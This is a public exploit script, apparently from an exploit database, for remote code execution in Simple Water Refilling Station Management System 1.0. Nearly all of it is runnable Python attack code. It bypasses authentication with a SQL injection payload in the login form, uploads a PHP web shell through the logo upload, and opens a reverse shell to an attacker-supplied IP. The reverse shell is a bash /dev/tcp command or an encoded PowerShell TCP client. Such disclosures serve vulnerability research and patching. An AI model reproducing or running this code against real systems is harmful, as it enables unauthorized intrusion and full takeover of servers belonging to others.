Simple Water Refilling Station Management System 1.0 - Remote Code Execution (RCE) through File Upload

# Exploit Title: Simple Water Refilling Station Management System 1.0 - Remote Code Execution (RCE) through File Upload
# Exploit Author: Matt Sorrell
# Date: 2021-08-14
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/14906/simple-water-refilling-station-management-system-php-free-source-code.html
# Version: 1.0
# Tested On: Windows Server 2019 and XAMPP 7.4.22

# The Simple Water Refilling Station Management System 
# contains a file upload vulnerability that allows for remote 
# code execution against the target.  This exploit requires 
# the user to be authenticated, but a SQL injection in the login form 
# allows the authentication controls to be bypassed.  The application does not perform
# any validation checks against the uploaded file at "/classes/SystemSettings.php"
# and the directory it is placed in allows for execution of PHP code.


#!/usr/bin/env python3

import requests
from bs4 import BeautifulSoup as bs
import time
import subprocess
import base64
import sys


def login_with_injection(url, session):
	target = url + "/classes/Login.php?f=login"

	data = {
		"username": "test' OR 1=1-- -",
		"password": "test"
	}

	r = session.post(target, data=data)
	if '"status":"success"' in r.text:
		return True
	else:
		return False

def upload_shell(url, session):
	target = url + "/classes/SystemSettings.php?f=update_settings"

	files = {'img': ('shell.php', "<?php system($_REQUEST['cmd']); ?>", 'application/x-php')}

	r = session.post(target, files=files)
	
	if r.headers['Content-Length'] != 1:
		print("[+] Shell uploaded.\n")
		return r.links
	else:
		print("Error uploading file.  Exiting.")
		exit(-1)

def activate_shell(url, session, OS, rev_ip, rev_port):
	target = url + "/admin/?page=system_info"

	r = session.get(target)
	page_data = r.text
	soup = bs(page_data, features='lxml')

	for link in soup.find_all('link'):
		if "shell" in link.get('href'):
			shell_url = link.get('href')
			break


	print(f"[+] Found URL for shell: {shell_url}\n")

	print("[*] Attempting to start reverse shell...")

	subprocess.Popen(["nc","-nvlp",f"{rev_port}"])
	time.sleep(1)

	if OS.lower() == "linux":
		cmd = f"bash -c 'bash -i >& /dev/tcp/{rev_ip}/{rev_port}'"
	else:
		cmd = f"$TCPClient = New-Object Net.Sockets.TCPClient('{rev_ip}', {rev_port});$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {{[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {{0}};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {{$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {{Invoke-Expression $Command 2>&1 | Out-String}} catch {{$_ | Out-String}}WriteToStream ($Output)}}$StreamWriter.Close()".strip()

		cmd = "C:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe -enc " + base64.b64encode(cmd.encode('UTF-16LE')).decode()

	r = session.get(shell_url+"?cmd="+cmd)

def main():
	
	if len(sys.argv) != 5:
		print(f"(+) Usage:\t python3 {sys.argv[0]} <TARGET IP> <LISTENING IP> <LISTENING PORT> <WINDOWS/LINUX Target>")
		print(f"(+) Usage:\t python3 {sys.argv[0]} 10.1.1.1 10.1.1.20 443 windows")
		exit(-1)
	else:
		ip = sys.argv[1]
		rev_ip = sys.argv[2]
		rev_port = sys.argv[3]
		OS = sys.argv[4]

	URL = f"http://{ip}/water_refilling"


	s = requests.Session()

	print("[*] Trying to bypass authentication through SQL injection...\n")

	if not login_with_injection(URL, s):
		print("[-] Failed to login.  Exiting.")
		exit(-1)
	else:
		print("[+] Successfully logged in.\n")

	time.sleep(2)
	print("[*] Trying to upload shell through system logo functionality...\n")
	
	links = upload_shell(URL, s)

	# Sleeping for 2 seconds to avoid problems finding the file uploaded
	time.sleep(2)

	print("[*] Getting shell URL and sending reverse shell command...\n")
	activate_shell(URL, s, OS, rev_ip, rev_port)

	while True:
		pass


if __name__ == "__main__":
	main()